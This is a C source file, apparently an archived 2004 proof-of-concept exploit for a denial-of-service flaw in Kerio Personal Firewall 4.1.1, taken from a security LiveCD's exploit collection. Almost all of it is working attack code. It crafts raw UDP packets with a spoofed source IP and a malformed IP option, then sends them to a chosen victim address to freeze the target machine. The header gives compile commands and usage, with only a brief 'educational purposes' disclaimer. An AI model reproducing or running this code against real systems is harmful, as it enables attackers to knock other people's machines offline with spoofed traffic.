home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Kerio / HOD-kerio-firewall-DoS-expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  410 lines

  1. /* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
  2. *
  3. * Copyright (c) 2004 houseofdabus
  4. *
  5. * Kerio Personal Firewall Multiple IP Options Denial of Service PoC
  6. *
  7. * Coded by
  8. *
  9. *
  10. * .::[ houseofdabus ]::.
  11. *
  12. *
  13. *
  14. * Bug discoveried by eEye:
  15. * http://www.eeye.com/html/research/advisories/AD20041109.html
  16. *
  17. ---------------------------------------------------------------------
  18. * Tested on:
  19. * - Kerio Personal Firewall 4.1.1
  20. *
  21. * Systems Affected:
  22. * - Kerio Personal Firewall 4.1.1 and prior
  23. *
  24. ---------------------------------------------------------------------
  25. * Description:
  26. * The vulnerability allows a remote attacker to reliably render
  27. * a system inoperative with one single packet. Physical access is
  28. * required in order to bring an affected system out of this
  29. * "frozen" state. This specific flaw exists within the component
  30. * that performs low level processing of TCP, UDP, and ICMP packets.
  31. *
  32. ---------------------------------------------------------------------
  33. * Compile:
  34. * Win32/VC++ : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
  35. * Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
  36. * Linux : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
  37. *
  38. ---------------------------------------------------------------------
  39. * Command Line Parameters/Arguments:
  40. *
  41. * HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
  42. *
  43. * -fi:IP From (sender) IP address
  44. * -ti:IP To (target) IP address
  45. * -n:int Number of packets
  46. *
  47. ---------------------------------------------------------------------
  48. *
  49. * This is provided as proof-of-concept code only for educational
  50. * purposes and testing by authorized individuals with permission to
  51. * do so.
  52. *
  53. */
  54.  
  55. /* #define _WIN32 */
  56.  
  57. #ifdef _WIN32
  58. #pragma comment(lib,"ws2_32")
  59. #pragma pack(1)
  60. #define WIN32_LEAN_AND_MEAN 
  61. #include <winsock2.h>
  62. #include <ws2tcpip.h> /* IP_HDRINCL */
  63.  
  64. #else
  65. #include <sys/types.h>
  66. #include <netinet/in.h>
  67. #include <sys/socket.h>
  68. #include <stdio.h>
  69. #include <stdlib.h>
  70. #include <arpa/inet.h>
  71. #include <netdb.h>
  72. #include <sys/timeb.h>
  73. #endif
  74.  
  75. #include <string.h>
  76. #include <stdio.h>
  77. #include <stdlib.h>
  78.  
  79. #define MAX_MESSAGE 4068
  80. #define MAX_PACKET 4096
  81.  
  82. #define DEFAULT_PORT 53
  83. #define DEFAULT_IP "192.168.0.1"
  84. #define DEFAULT_COUNT 1
  85.  
  86. #ifndef _WIN32
  87. # define FAR
  88. #endif
  89.  
  90.  
  91. /* Define the IP header */
  92. typedef struct ip_hdr {
  93. unsigned char ip_verlen; /* IP version & length */
  94. unsigned char ip_tos; /* IP type of service */
  95. unsigned short ip_totallength; /* Total length */
  96. unsigned short ip_id; /* Unique identifier */
  97. unsigned short ip_offset; /* Fragment offset field */
  98. unsigned char ip_ttl; /* Time to live */
  99. unsigned char ip_protocol; /* Protocol */
  100. unsigned short ip_checksum; /* IP checksum */
  101. unsigned int ip_srcaddr; /* Source address */
  102. unsigned int ip_destaddr; /* Destination address */
  103. } IP_HDR, *PIP_HDR, FAR* LPIP_HDR;
  104.  
  105.  
  106. /* Define the UDP header */
  107. typedef struct udp_hdr {
  108. unsigned short src_portno; /* Source port number */
  109. unsigned short dst_portno; /* Destination port number */
  110. unsigned short udp_length; /* UDP packet length */
  111. unsigned short udp_checksum; /* UDP checksum (optional) */
  112. } UDP_HDR, *PUDP_HDR;
  113.  
  114.  
  115. char udpmsg[] =
  116. "\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
  117. "\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
  118. "\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
  119. "\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
  120. "\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
  121. "\x75\x73\x2e";
  122.  
  123.  
  124. /* globals */
  125. unsigned long dwToIP, /* IP to send to */
  126. dwFromIP; /* IP to send from (spoof) */
  127. unsigned short iToPort, /* Port to send to */
  128. iFromPort; /* Port to send from (spoof) */
  129. unsigned long dwCount; /* Number of times to send */
  130. char strMessage[MAX_MESSAGE]; /* Message to send */
  131.  
  132.  
  133.  
  134. void
  135. usage(char *progname) {
  136. printf("Usage:\n\n");
  137. printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
  138. printf(" -fi:IP From (sender) IP address\n");
  139. printf(" -ti:IP To (target) IP address\n");
  140. printf(" -n:int Number of packets\n");
  141. exit(1);
  142. }
  143.  
  144. void
  145. ValidateArgs(int argc, char **argv)
  146. {
  147. int i;
  148.  
  149. iToPort = 53;
  150. iFromPort = DEFAULT_PORT;
  151. dwToIP = inet_addr(DEFAULT_IP);
  152. dwFromIP = inet_addr(DEFAULT_IP); 
  153. dwCount = DEFAULT_COUNT;
  154. memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);
  155.  
  156. for(i = 1; i < argc; i++) {
  157. if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
  158. switch (tolower(argv[i][1])) {
  159. case 'f':
  160. switch (tolower(argv[i][2])) {
  161. case 'i':
  162. if (strlen(argv[i]) > 4)
  163. dwFromIP = inet_addr(&argv[i][4]);
  164. break;
  165. default:
  166. usage(argv[0]);
  167. break;
  168. break;
  169. case 't':
  170. switch (tolower(argv[i][2])) {
  171. case 'i':
  172. if (strlen(argv[i]) > 4)
  173. dwToIP = inet_addr(&argv[i][4]);
  174. break;
  175. default:
  176. usage(argv[0]);
  177. break;
  178. break;
  179. case 'n':
  180. if (strlen(argv[i]) > 3)
  181. dwCount = atol(&argv[i][3]);
  182. break;
  183. default:
  184. usage(argv[0]);
  185. break;
  186. }
  187. }
  188. }
  189. return;
  190. }
  191.  
  192.  
  193. /* This function calculates the 16-bit one's complement sum */
  194. /* for the supplied buffer */
  195. unsigned short
  196. checksum(unsigned short *buffer, int size)
  197. {
  198. unsigned long cksum=0;
  199.  
  200. while (size > 1) {
  201. cksum += *buffer++;
  202. size -= sizeof(unsigned short); 
  203. }
  204. if (size) {
  205. cksum += *(unsigned char *)buffer; 
  206. }
  207. cksum = (cksum >> 16) + (cksum & 0xffff);
  208. cksum += (cksum >>16); 
  209.  
  210. return (unsigned short)(~cksum); 
  211. }
  212.  
  213.  
  214.  
  215.  
  216. int
  217. main(int argc, char **argv)
  218. {
  219. #ifdef _WIN32
  220. WSADATA wsd;
  221. #endif
  222. int s;
  223. #ifdef _WIN32
  224. BOOL bOpt;
  225. #else
  226. int bOpt;
  227. #endif
  228. struct sockaddr_in remote;
  229. IP_HDR ipHdr;
  230. UDP_HDR udpHdr;
  231. int ret;
  232. unsigned long i;
  233. unsigned short iTotalSize,
  234. iUdpSize,
  235. iUdpChecksumSize,
  236. iIPVersion,
  237. iIPSize,
  238. cksum = 0;
  239. char buf[MAX_PACKET],
  240. *ptr = NULL;
  241. #ifdef _WIN32
  242. IN_ADDR addr;
  243. #else
  244. struct sockaddr_in addr;
  245. #endif
  246.  
  247. printf("\nKerio Personal Firewall Multiple IP Options Denial of 
  248. Service PoC\n\n");
  249. printf("\tCopyright (c) 2004 .::[ houseofdabus ]::.\n\n");
  250.  
  251. if (argc < 3) usage(argv[0]);
  252.  
  253. /* Parse command line arguments and print them out */
  254. ValidateArgs(argc, argv);
  255. #ifdef _WIN32
  256. addr.S_un.S_addr = dwFromIP;
  257. printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), 
  258. iFromPort);
  259. addr.S_un.S_addr = dwToIP;
  260. printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
  261. printf("[*] Count: %d\n", dwCount);
  262. #else
  263. addr.sin_addr.s_addr = dwFromIP;
  264. printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), 
  265. iFromPort);
  266. addr.sin_addr.s_addr = dwToIP;
  267. printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), 
  268. iToPort);
  269. printf("[*] Count: %d\n", dwCount);
  270. #endif
  271.  
  272. #ifdef _WIN32
  273. if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
  274. printf("[-] WSAStartup() failed: %d\n", GetLastError());
  275. return -1;
  276. }
  277. #endif
  278. /* Creating a raw socket */
  279. s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  280. #ifdef _WIN32
  281. if (s == INVALID_SOCKET) {
  282. printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
  283. return -1;
  284. }
  285. #endif
  286.  
  287. /* Enable the IP header include option */
  288. #ifdef _WIN32
  289. bOpt = TRUE;
  290. #else
  291. bOpt = 1;
  292. #endif
  293. ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, 
  294. sizeof(bOpt));
  295. #ifdef _WIN32
  296. if (ret == SOCKET_ERROR) {
  297. printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", 
  298. WSAGetLastError());
  299. return -1;
  300. }
  301. #endif
  302. /* Initalize the IP header */
  303. iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;
  304.  
  305. iIPVersion = 4;
  306. iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
  307.  
  308. iIPSize += 1; /* IP options */
  309.  
  310. ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
  311. ipHdr.ip_tos = 0; /* IP type of service */
  312. ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
  313. ipHdr.ip_id = 0; /* Unique identifier: set to 0 */
  314. ipHdr.ip_offset = 0; /* Fragment offset field */
  315. ipHdr.ip_ttl = 128; /* Time to live */
  316. ipHdr.ip_protocol = 0x11; /* Protocol(UDP) */
  317. ipHdr.ip_checksum = 0 ; /* IP checksum */
  318. ipHdr.ip_srcaddr = dwFromIP; /* Source address */
  319. ipHdr.ip_destaddr = dwToIP; /* Destination address */
  320.  
  321. /* Initalize the UDP header */
  322. iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;
  323.  
  324. udpHdr.src_portno = htons(iFromPort);
  325. udpHdr.dst_portno = htons(iToPort);
  326. udpHdr.udp_length = htons(iUdpSize);
  327. udpHdr.udp_checksum = 0 ;
  328.  
  329.  
  330. iUdpChecksumSize = 0;
  331. ptr = buf;
  332. memset(buf, 0, MAX_PACKET);
  333.  
  334. memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
  335. ptr += sizeof(ipHdr.ip_srcaddr);
  336. iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);
  337.  
  338. memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr)); 
  339. ptr += sizeof(ipHdr.ip_destaddr);
  340. iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);
  341.  
  342. ptr++;
  343. iUdpChecksumSize += 1;
  344.  
  345. memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol)); 
  346. ptr += sizeof(ipHdr.ip_protocol);
  347. iUdpChecksumSize += sizeof(ipHdr.ip_protocol);
  348.  
  349. memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length)); 
  350. ptr += sizeof(udpHdr.udp_length);
  351. iUdpChecksumSize += sizeof(udpHdr.udp_length);
  352.  
  353. memcpy(ptr, &udpHdr, sizeof(udpHdr)); 
  354. ptr += sizeof(udpHdr);
  355. iUdpChecksumSize += sizeof(udpHdr);
  356.  
  357. for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
  358. *ptr = strMessage[i];
  359. iUdpChecksumSize += sizeof(udpmsg)-1;
  360.  
  361. cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
  362. udpHdr.udp_checksum = cksum;
  363.  
  364.  
  365. memset(buf, 0, MAX_PACKET);
  366. ptr = buf;
  367.  
  368. memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
  369.  
  370. /* IP option (length = 0x00) */
  371. memcpy(ptr, "\x88\x00\x12\x34", 4); ptr += 4;
  372.  
  373. memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
  374. memcpy(ptr, strMessage, sizeof(udpmsg)-1);
  375.  
  376. remote.sin_family = AF_INET;
  377. remote.sin_port = htons(iToPort);
  378. remote.sin_addr.s_addr = dwToIP;
  379.  
  380. for(i = 0; i < dwCount; i++) {
  381. #ifdef _WIN32
  382. ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, 
  383. sizeof(remote));
  384.  
  385. if (ret == SOCKET_ERROR) {
  386. printf("[-] sendto() failed: %d\n", WSAGetLastError());
  387. break;
  388. } else
  389. #else
  390. ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) 
  391. &remote, 
  392. sizeof(remote));
  393. #endif
  394. printf("[+] sent %d bytes\n", ret);
  395. }
  396.  
  397. #ifdef _WIN32
  398. closesocket(s);
  399. WSACleanup();
  400. #endif
  401.  
  402. return 0;
  403. }